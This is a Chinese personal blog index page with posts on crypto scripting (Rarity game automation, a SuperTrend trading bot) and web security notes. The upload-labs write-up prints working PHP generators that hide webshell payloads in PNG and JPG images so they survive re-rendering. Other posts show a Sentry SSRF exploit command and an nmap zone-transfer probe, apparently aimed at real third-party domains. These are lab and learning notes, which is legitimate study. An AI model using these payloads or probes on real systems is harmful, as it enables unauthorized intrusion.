在有abi的情况下,确实是可以解出input data的

1
(<Function level_up(uint256)>, {'_summoner': 1185248})

3C8C2ECB-DEF5-45CC-BFA8-088E83552776

556A7322-7E85-4AD0-B6CB-CCAA10C09D20


Refs:

  • bscscan api
  • How to decode input data from a transaction?

Crypto-rarity自动冒险升级脚本

发表于 2021-09-27 | 分类于 Crypto

Pre:

rarity有一些web界面,可供玩家去冒险、升级。但是为了方便,能够自动去冒险、升级,还是自己简单写个脚本try一下。

顺便熟悉一下solidty和web3js


Rarity:

简介:

Yearn Finance 创始人 Andre Cronje 发文称受到 Loot 启发推出游戏 Rarity,在该游戏中玩家可创建召唤师,Rarity 总量没有限制,除 Gas 外无需其他费用,召唤师每天可以通过冒险赚取 xp 经验值,一旦获得了一定量的 xp 就可以升级,获得特技和法术。

游戏共有 11 个角色,分别是野人、吟游诗人、牧师、德鲁伊、斗士、僧侣、圣骑士、游侠、巡逻兵、巫师、法师。


合约源码:

rarity solidity源码

简单通读一下源码,发现solidity写的代码还是挺简单的,并没想象中的难,可能跟没有那么多操作要放在链上有关。

readContract:

https://ftmscan.com/address/0xce761d788df608bd21bdd59d6f4b54b2e27f25bb#readContract

挑几个比较重要的函数说明下

adventures_log

  • 查询下一次冒险的时间
  • input:角色id
  • output:下一次冒险的时间戳

summoner

  • 查询角色信息
  • input:角色id
  • output:角色的经验、下一次冒险的时间戳、职业类别、等级

25641732-8ED4-4D10-81F4-B5E90094D83D

xp_required

  • 查询下一级所需经验
  • input:等级
  • output:下一级所需经验

writeContract:

https://ftmscan.com/address/0xce761d788df608bd21bdd59d6f4b54b2e27f25bb#writeContract

adventure

  • 让角色去冒险,每天只能冒险一次,每次获得250xp
  • input:角色id

level_up

  • 角色升级
  • input:角色id

脚本:

流程图:

自动冒险:

DF22C901-3AC7-48EE-8D73-592181380B59

  • 查出自己地址有哪些角色id
  • 调用合约的查询函数summoner,知道下一次冒险时间
  • 判断一下有没到冒险时间
  • 满足条件的话,调用合约的adventure,让角色去冒险

自动升级:

84454A4B-F8F1-444D-AB4A-79B47F941381

  • 调用合约函数summoner,知道当前经验值
  • 调用合约函数xp_required,知道下次升级所需经验
  • 满足条件的话,调用合约的level_up,让角色去升级

一些问题:

gas:

自己的脚本和https://rarityextended.com/执行的gas费有些差异,后续有空要看一下怎么样省一下gas fee,虽然也很少钱。

2749692E-F7D8-49E0-A22D-BD8AE0CC1040

交易失败:

脚本定时跑起来后,常有几笔失败的交易,可能跟nonce设置有关系。

20210927120445


总结:

脚本定时跑起来后,就不用去web页面上一个个点去冒险和升级,方便了不少,
写之前觉得挺麻烦的,有点无从下手,写完才发现很简单。hhh

后续加点、玩副本这些,有空再研究补充下吧~


Refs:

  • Yearn Finance 创始人受 Loot 启发推出冒险游戏 Rarity
  • 全网最详细——AC游戏“Rarity”人物简介和加点攻略
  • 【百大链游】FTM上的大冒险Rarity
  • 【DFarm】Rarity游戏基础规则超详细剖析
  • rarity Web1
  • rarity Web2

Crypto-SuperTrend指标_现货交易脚本

发表于 2021-09-26 | 分类于 Crypto

Pre:

无意中看到这个视频,有介绍到tradingview这个网站和SuperTrend这个指标,看起来还不错,尝试写个简单的交易脚本试试水。


SuperTrend指标:

简介:

SuperTrend指标主要用于为投资者提供价格上涨或下跌的范围

该指标中当产品价格位于绿色线上方时,认为价格处于上涨行情中;

当价格位于红色线下方时,则认为当前的价格处于下跌行情

简单的说,会给出Buy或者Sell信号

8ECBDBBC-A854-461F-A069-7A54DFE82690

原理:

原理是判断收盘价是否突破ATR通道(通道 = 均价上下n倍ATR)

Todo:还未完全理解hhh,后续补补

我的理解:


是否可以按照信号进行交易?

一般来说,这个指标不用于判断进场信号,但买入价位可以在绿线上方寻找,而卖出价位则可以在红线下方寻找。

如果严格按照Buy或者Sell信号去执行交易的话,效果可能不会很好。

很有可能会在相邻的信号时,Buy信号的价格比Sell信号要高

5DC72757-B5E7-4E13-B371-10A557367EE9

例如发送了Buy信号,最理想的情况当然是连续的Green的K棒

C1843CAA-777B-46DD-B03E-8647D9D13C73

也有可能,随后就遇到红色的K棒

6F4D976F-F12B-473A-A6AC-B9DE5ED5A83B

所以嘛,指标只能作为参考,当然也和你的交易周期有关(看K棒的周期)。


信号发送频率?

跟你看线设置的周期有关:

如果设置1分钟,那么信号频率会很高,可能几分钟就一次

如果设置4小时,那么信号频率会很低,可能要好几天一次,胜率可能会高很多。

D7DB9AF1-26AC-4D78-B645-701E5B39024B


交易脚本:

策略:

  • 选择一个交易周期:45mins
  • Buy信号发出,很可能处于上涨行情,执行市价买入
  • 设置收益率5%,执行限价卖出
  • 暂不设置止损,选择一个我认为比较好的投资标的(币):cake,如果卖不出就让它套着
  • 比较适合小熊行情,这样就算被套住,也成本不高

流程图:

5CFD73E4-C26C-41D5-9635-68A71FBBB2B9

  • 自己提供一个api,由tradingview进行发送Buy信号触发
  • 触发后,市价买入x数量的币
  • 设置一个止盈收益率为5%限价卖单
  • 另外脚本监控限价卖单是否成功卖出
  • 以上每一步都设置tg提醒,入库记录
  • 暂不设置止损

效果:

tradingview设置alert,设置webhook

20210926131021

市价买入:

AB2C4958-CB89-42EB-A5CF-89826075AEE7

限价卖出:

08095169-9D4A-493F-B992-697B6F3E56CB

Todo:

目前是初步尝试,跑一个月看看,后面再持续优化一下以下几个参数

  • 仓位
  • 交易周期
  • 止盈收益率

Refs:

  • SuperTrend V.1 超级趋势线系统
  • 外汇技术指标:SuperTrend指标
  • https://tw.tradingview.com/
  • https://youtu.be/yPQYHxwfC1g

uploadlab-二次渲染绕过

发表于 2021-03-06 | 分类于 WebSecurity

Pre:

在做这个靶场的时候,发现pass17这一关还有点意思。
https://github.com/c0ny1/upload-labs/blob/master/Pass-17/index.php

主要考察的点是图片被渲染后,怎么再次在图片注入webshell payload.

想要绕过二次渲染的话,就要 搞清楚二次渲染后,源文件哪些区域不会被修改或压缩。 这里因为gif、jpg、png三种不同图片文件的文件格式不同,所以图片马的构造方法也不同。


gif上传:

绕过方法:

gif二次渲染绕过说是最简单的。

将源文件和二次渲染过的文件进行比较,找出源文件中没有被修改的那段区域,在那段区域写入php代码即可。

用比较工具,可以迅速找到两者匹配的地方。在匹配处写入php代码即可。

过程:

在gif尾部加上php的payload,上传经过渲染后,payload不见了。

上传前:

20210306112121

上传后:

20210306112202

用对比工具找到匹配的地方,然后用winhex写入payload即可

20210306115049

结合文件包含试试:
http://localhost/include.php?file=./upload/14830.gif

20210306114904


png上传:

直接记个方法,将php代码写入IDAT数据块。用别人的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

生成的1.png如下图

20210306153551

后续利用暂时没搞出来。


jpg上传:

别人的脚本
jpg马生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

使用方法:

  1. 先将一张正常的jpg图片上传,上传后将服务器存储的二次渲染的图片保存下来。
  2. 将保存下来经过服务器二次渲染的那张jpg图片,用此脚本进行处理生成payload.jpg
  3. 然后再上传payload.jpg
1
php.exe jpg_payload.php 2013.jpg

20210306161437

换了几个图片,还是无法正常解析。

20210306161607


图片马结合文件包含漏洞:

关于图片马的正确用法

文件包含漏洞简单说就是,在这个include.php中需要引用其他应用程序,php中应用程序文件是.php也就是说,他本来想引用一个php文件,但是漏洞就是,他不会识别什么是php文件,只要是他引用的,他都当php来解析,所以如果他引用的是jpg,但是jpg中有图片马,那么他就相当于引用了图片马,同样的道理还会有zip马等等


refs:

  • upload-labs记录
  • upload-labs之pass 16详细分析

sentry SSRF

发表于 2020-11-18 | 分类于 WebSecurity

范围

一般在url上看到到有sentry都可以用Sentry(是一个实时事件日志记录和聚合平台)的exp试试,原理是由于sentry默认开启source code scrapping ,导致可以从外部进行blind ssrf请求。


百度dork:

20201118102259


exp测试步骤:

1
python3 sentrySSRF.py -i https://sentry.tpxventures.com/auth/login/technomedia/ -d

20201118102724

brup collaborator收到请求

20201118102843

20201118102924


修复方式

  1. sentry关闭 source code scrapping;
  2. 保证配置文件中的黑名单不为空:/sentry/conf/server.py

refs:

  • sentry SSRF
  • https://hackerone.com/reports/374737
  • https://github.com/xawdxawdx/sentrySSRF

DNS域传送漏洞

发表于 2020-11-13 | 分类于 WebSecurity

DNS域传送漏洞:

DNS记录分类

常见的DNS记录有以下几类:

1
2
3
4
5
6
7
A记录       IP地址记录,记录一个域名对应的IP地址
AAAA记录 IPv6地址记录,记录一个域名对应的IPv6地址
CNAME记录 别名记录,记录一个主机的别名
MX记录 电子邮件交换记录,记录一个邮件域名对应的IP地址
NS记录 域名服务器记录 ,记录该域名由哪台域名服务器解析
PTR记录 反向记录,也即从IP地址到域名的一条记录
TXT记录 记录域名的相关文本信息

原理:

DNS服务器分为:主服务器、备份服务器和缓存服务器。

在主备服务器之间同步数据库,需要使用“DNS域传送”。

域传送是指备份服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。

若DNS服务器配置不当(本来只有备份服务器能获得主服务器的数据,由于漏洞导致任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)),可能导致攻击者获取某个域的所有记录。

造成整个网络的拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器。

同时,黑客可以快速的判定出某个特定zone的所有主机,收集域信息,选择攻击目标,找出未使用的IP地址,绕过基于网络的访问控制。

攻击者能获取的敏感主要包括:

1)网络的拓扑结构,服务器集中的IP地址段

2)数据库服务器的IP地址

3)测试服务器的IP地址,

4)VPN服务器地址泄露

5)其他敏感服务器


检测:

1
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=li-ning.com -p 53 -Pn ns.lining.cn

20201113100039


refs:

  • dns 域传送漏洞利用总结
123…9
Foolisheddy

Foolisheddy

nothing to say :)

87 日志
14 分类
14 标签
© 2022 Foolisheddy
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4